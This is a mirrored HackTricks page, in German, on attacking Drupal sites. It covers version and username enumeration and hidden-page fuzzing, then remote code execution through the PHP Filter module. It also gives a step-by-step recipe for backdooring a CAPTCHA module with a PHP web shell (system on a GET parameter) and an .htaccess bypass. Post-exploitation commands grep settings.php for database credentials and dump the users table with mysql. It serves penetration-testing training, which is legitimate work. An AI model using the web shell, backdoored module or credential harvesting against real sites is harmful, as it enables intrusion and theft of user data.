mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
226 lines
12 KiB
Markdown
226 lines
12 KiB
Markdown
# Drupal
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|
|
|
|
## Entdeckung
|
|
|
|
* Überprüfen Sie **meta**
|
|
```bash
|
|
curl https://www.drupal.org/ | grep 'content="Drupal'
|
|
```
|
|
* **Node**: Drupal **indiziert seinen Inhalt mit Knoten**. Ein Knoten kann **alles enthalten**, wie z.B. einen Blogbeitrag, eine Umfrage, einen Artikel usw. Die Seiten-URIs haben normalerweise die Form `/node/<nodeid>`.
|
|
```bash
|
|
curl drupal-site.com/node/1
|
|
```
|
|
## Enumeration
|
|
|
|
Drupal unterstützt standardmäßig **drei Arten von Benutzern**:
|
|
|
|
1. **`Administrator`**: Dieser Benutzer hat die vollständige Kontrolle über die Drupal-Website.
|
|
2. **`Authentifizierter Benutzer`**: Diese Benutzer können sich auf der Website anmelden und je nach Berechtigungen Operationen wie das Hinzufügen und Bearbeiten von Artikeln durchführen.
|
|
3. **`Anonym`**: Alle Website-Besucher werden als anonym bezeichnet. Standardmäßig dürfen diese Benutzer nur Beiträge lesen.
|
|
|
|
### Version
|
|
|
|
* Überprüfen Sie `/CHANGELOG.txt`
|
|
```bash
|
|
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
|
|
|
|
Drupal 7.57, 2018-02-21
|
|
```
|
|
{% hint style="info" %}
|
|
Neuere Installationen von Drupal blockieren standardmäßig den Zugriff auf die Dateien `CHANGELOG.txt` und `README.txt`.
|
|
{% endhint %}
|
|
|
|
### Benutzernamen-Enumeration
|
|
|
|
#### Registrierung
|
|
|
|
Unter _/user/register_ versuchen Sie einfach, einen Benutzernamen zu erstellen, und wenn der Name bereits vergeben ist, wird dies angezeigt:
|
|
|
|
![](<../../.gitbook/assets/image (254).png>)
|
|
|
|
#### Neues Passwort anfordern
|
|
|
|
Wenn Sie ein neues Passwort für einen vorhandenen Benutzernamen anfordern:
|
|
|
|
![](<../../.gitbook/assets/image (255).png>)
|
|
|
|
Wenn Sie ein neues Passwort für einen nicht vorhandenen Benutzernamen anfordern:
|
|
|
|
![](<../../.gitbook/assets/image (256).png>)
|
|
|
|
### Anzahl der Benutzer abrufen
|
|
|
|
Durch den Zugriff auf _/user/\<number>_ können Sie die Anzahl der vorhandenen Benutzer sehen, in diesem Fall sind es 2, da _/users/3_ einen Fehler "nicht gefunden" zurückgibt:
|
|
|
|
![](<../../.gitbook/assets/image (257).png>)
|
|
|
|
![](<../../.gitbook/assets/image (227) (1) (1).png>)
|
|
|
|
### Versteckte Seiten
|
|
|
|
**Fuzz `/node/$`, wobei `$` eine Zahl ist** (von 1 bis 500 zum Beispiel).\
|
|
Sie könnten **versteckte Seiten** (Test, Entwicklung) finden, die von den Suchmaschinen nicht referenziert werden.
|
|
|
|
#### Installierte Modulinformationen
|
|
```bash
|
|
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
|
|
#Get info on installed modules
|
|
curl https://example.com/config/sync/core.extension.yml
|
|
curl https://example.com/core/core.services.yml
|
|
|
|
# Download content from files exposed in the previous step
|
|
curl https://example.com/config/sync/swiftmailer.transport.yml
|
|
```
|
|
### Automatisch
|
|
|
|
Automatisierung ist ein wichtiger Aspekt beim Pentesting von Drupal-Webanwendungen. Es gibt verschiedene Tools und Techniken, die Ihnen dabei helfen können, den Prozess effizienter zu gestalten. Hier sind einige Möglichkeiten, wie Sie Automatisierung in Ihre Pentesting-Methodik integrieren können:
|
|
|
|
#### 1. Scannen auf Schwachstellen
|
|
|
|
Verwenden Sie automatisierte Schwachstellenscanner wie Burp Suite, OWASP ZAP oder Nessus, um nach bekannten Schwachstellen in der Drupal-Installation zu suchen. Diese Tools können Ihnen helfen, potenzielle Sicherheitslücken wie Cross-Site Scripting (XSS), SQL-Injection und Remote-Code-Ausführung zu identifizieren.
|
|
|
|
#### 2. Bruteforce-Angriffe
|
|
|
|
Automatisierte Tools wie Hydra oder Medusa können verwendet werden, um Benutzernamen und Passwörter für Drupal-Administratorkonten zu bruteforcen. Diese Tools können Wörterbuchangriffe oder Brute-Force-Angriffe mit vordefinierten Passwortlisten durchführen.
|
|
|
|
#### 3. Konfigurationsüberprüfung
|
|
|
|
Automatisierte Tools wie Droopescan können verwendet werden, um nach unsicheren Konfigurationen in der Drupal-Installation zu suchen. Diese Tools können nach veralteten Versionen, bekannten Sicherheitslücken und unsicheren Einstellungen suchen.
|
|
|
|
#### 4. Exploit-Frameworks
|
|
|
|
Verwenden Sie Exploit-Frameworks wie Metasploit oder ExploitDB, um bekannte Schwachstellen in Drupal auszunutzen. Diese Frameworks bieten vorgefertigte Exploits, mit denen Sie Schwachstellen automatisch ausnutzen können.
|
|
|
|
#### 5. Fuzzing
|
|
|
|
Fuzzing ist eine Technik, bei der automatisierte Tools zufällige oder gezielte Eingaben in eine Anwendung senden, um Schwachstellen zu identifizieren. Verwenden Sie Tools wie AFL oder Peach Fuzzer, um Drupal auf mögliche Schwachstellen zu testen.
|
|
|
|
#### 6. Skripting
|
|
|
|
Verwenden Sie Skriptsprachen wie Python oder Ruby, um automatisierte Tests und Angriffe auf Drupal durchzuführen. Diese Skripte können verwendet werden, um spezifische Schwachstellen zu testen oder benutzerdefinierte Angriffe durchzuführen.
|
|
|
|
Die Automatisierung kann den Pentesting-Prozess beschleunigen und die Effizienz verbessern. Es ist jedoch wichtig zu beachten, dass automatisierte Tools nicht alle Schwachstellen identifizieren können. Manuelle Überprüfungen und Tests sind immer noch erforderlich, um eine umfassende Sicherheitsbewertung durchzuführen.
|
|
```bash
|
|
droopescan scan drupal -u http://drupal-site.local
|
|
```
|
|
## RCE
|
|
|
|
### Mit dem PHP-Filter-Modul
|
|
|
|
{% hint style="warning" %}
|
|
In älteren Versionen von Drupal **(vor Version 8)** war es möglich, sich als Administrator anzumelden und das `PHP-Filter`-Modul zu aktivieren, das "das Ausführen von eingebettetem PHP-Code/Snippets ermöglicht".
|
|
{% endhint %}
|
|
|
|
Sie müssen das **Plugin PHP installiert haben** (überprüfen Sie dies, indem Sie auf _/modules/php_ zugreifen und wenn es einen **403** zurückgibt, **existiert es**, wenn es **nicht gefunden** wird, ist das **Plugin PHP nicht installiert**).
|
|
|
|
Gehen Sie zu _Module_ -> (**Überprüfen Sie**) _PHP-Filter_ -> _Konfiguration speichern_
|
|
|
|
![](<../../.gitbook/assets/image (247) (1).png>)
|
|
|
|
Klicken Sie dann auf _Inhalt hinzufügen_ -> Wählen Sie _Grundseite_ oder _Artikel_ -> Schreiben Sie _PHP-Shellcode im Body_ -> Wählen Sie _PHP-Code_ im Textformat -> Wählen Sie _Vorschau_
|
|
|
|
![](<../../.gitbook/assets/image (253) (1).png>)
|
|
|
|
Greifen Sie schließlich einfach auf den neu erstellten Knoten zu:
|
|
```bash
|
|
curl http://drupal-site.local/node/3
|
|
```
|
|
### PHP-Filter-Modul installieren
|
|
|
|
Ab Version **8** wird das [**PHP-Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **Modul nicht mehr standardmäßig installiert**. Um diese Funktion nutzen zu können, müssen wir das Modul **selbst installieren**.
|
|
|
|
1. Laden Sie die neueste Version des Moduls von der Drupal-Website herunter.
|
|
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
|
2. Sobald der Download abgeschlossen ist, gehen Sie zu **`Administration`** > **`Berichte`** > **`Verfügbare Updates`**.
|
|
3. Klicken Sie auf **`Durchsuchen`**, wählen Sie die Datei aus dem Verzeichnis aus, in dem Sie sie heruntergeladen haben, und klicken Sie dann auf **`Installieren`**.
|
|
4. Sobald das Modul installiert ist, können wir auf **`Inhalt`** klicken und eine neue Grundseite erstellen, ähnlich wie im Beispiel für Drupal 7. Achten Sie erneut darauf, **`PHP-Code` aus dem Dropdown-Menü `Textformat` auszuwählen**.
|
|
|
|
### Backdoored-Modul
|
|
|
|
Ein Backdoored-Modul kann erstellt werden, indem **eine Shell zu einem vorhandenen Modul hinzugefügt wird**. Module können auf der Website drupal.org gefunden werden. Wählen wir ein Modul wie [CAPTCHA](https://www.drupal.org/project/captcha) aus. Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz [Archiv](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
|
|
|
* Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalt.
|
|
```
|
|
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
|
tar xvf captcha-8.x-1.2.tar.gz
|
|
```
|
|
* Erstellen Sie eine **PHP-Webshell** mit dem Inhalt:
|
|
```php
|
|
<?php
|
|
system($_GET["cmd"]);
|
|
?>
|
|
```
|
|
* Als nächstes müssen wir eine **`.htaccess`**-Datei erstellen, um uns Zugriff auf den Ordner zu verschaffen. Dies ist notwendig, da Drupal den direkten Zugriff auf den **`/modules`**-Ordner verweigert.
|
|
```html
|
|
<IfModule mod_rewrite.c>
|
|
RewriteEngine On
|
|
RewriteBase /
|
|
</IfModule>
|
|
```
|
|
* Die oben genannte Konfiguration wird Regeln für den Ordner / anwenden, wenn wir eine Datei in /modules anfordern. Kopieren Sie beide Dateien in den Ordner captcha und erstellen Sie ein Archiv.
|
|
```bash
|
|
mv shell.php .htaccess captcha
|
|
tar cvf captcha.tar.gz captcha/
|
|
```
|
|
* Angenommen, wir haben **administrativen Zugriff** auf die Website, klicken Sie auf **`Verwalten`** und dann auf **`Erweitern`** in der Seitenleiste. Klicken Sie anschließend auf die Schaltfläche **`+ Neues Modul installieren`**, und wir gelangen zur Installationsseite, z. B. `http://drupal-site.local/admin/modules/install`. Navigieren Sie zum mit einer Hintertür versehenen Captcha-Archiv und klicken Sie auf **`Installieren`**.
|
|
* Sobald die Installation erfolgreich ist, navigieren Sie zu **`/modules/captcha/shell.php`**, um Befehle auszuführen.
|
|
|
|
## Nach der Ausnutzung
|
|
|
|
### Lesen Sie settings.php
|
|
```
|
|
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
|
|
```
|
|
### Benutzer aus der Datenbank extrahieren
|
|
|
|
Um Benutzer aus der Datenbank zu extrahieren, können Sie die folgenden Schritte befolgen:
|
|
|
|
1. Identifizieren Sie die Datenbank, die von der Drupal-Installation verwendet wird. Dies kann normalerweise in der Konfigurationsdatei `settings.php` gefunden werden.
|
|
|
|
2. Stellen Sie eine Verbindung zur Datenbank her, entweder über ein Datenbankverwaltungstool oder über die Befehlszeile.
|
|
|
|
3. Führen Sie eine Abfrage aus, um die Benutzertabelle abzurufen. In Drupal ist dies normalerweise die Tabelle `users`.
|
|
|
|
```sql
|
|
SELECT * FROM users;
|
|
```
|
|
|
|
Diese Abfrage gibt alle Benutzerdatensätze in der Tabelle zurück.
|
|
|
|
4. Analysieren Sie die extrahierten Benutzerdaten, um Informationen wie Benutzernamen, E-Mail-Adressen und Passwörter zu erhalten.
|
|
|
|
Es ist wichtig zu beachten, dass das Extrahieren von Benutzerdaten aus einer Datenbank ohne entsprechende Berechtigungen illegal ist. Stellen Sie sicher, dass Sie die erforderlichen Genehmigungen haben, bevor Sie diese Technik anwenden.
|
|
```
|
|
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
|
|
```
|
|
## Referenzen
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|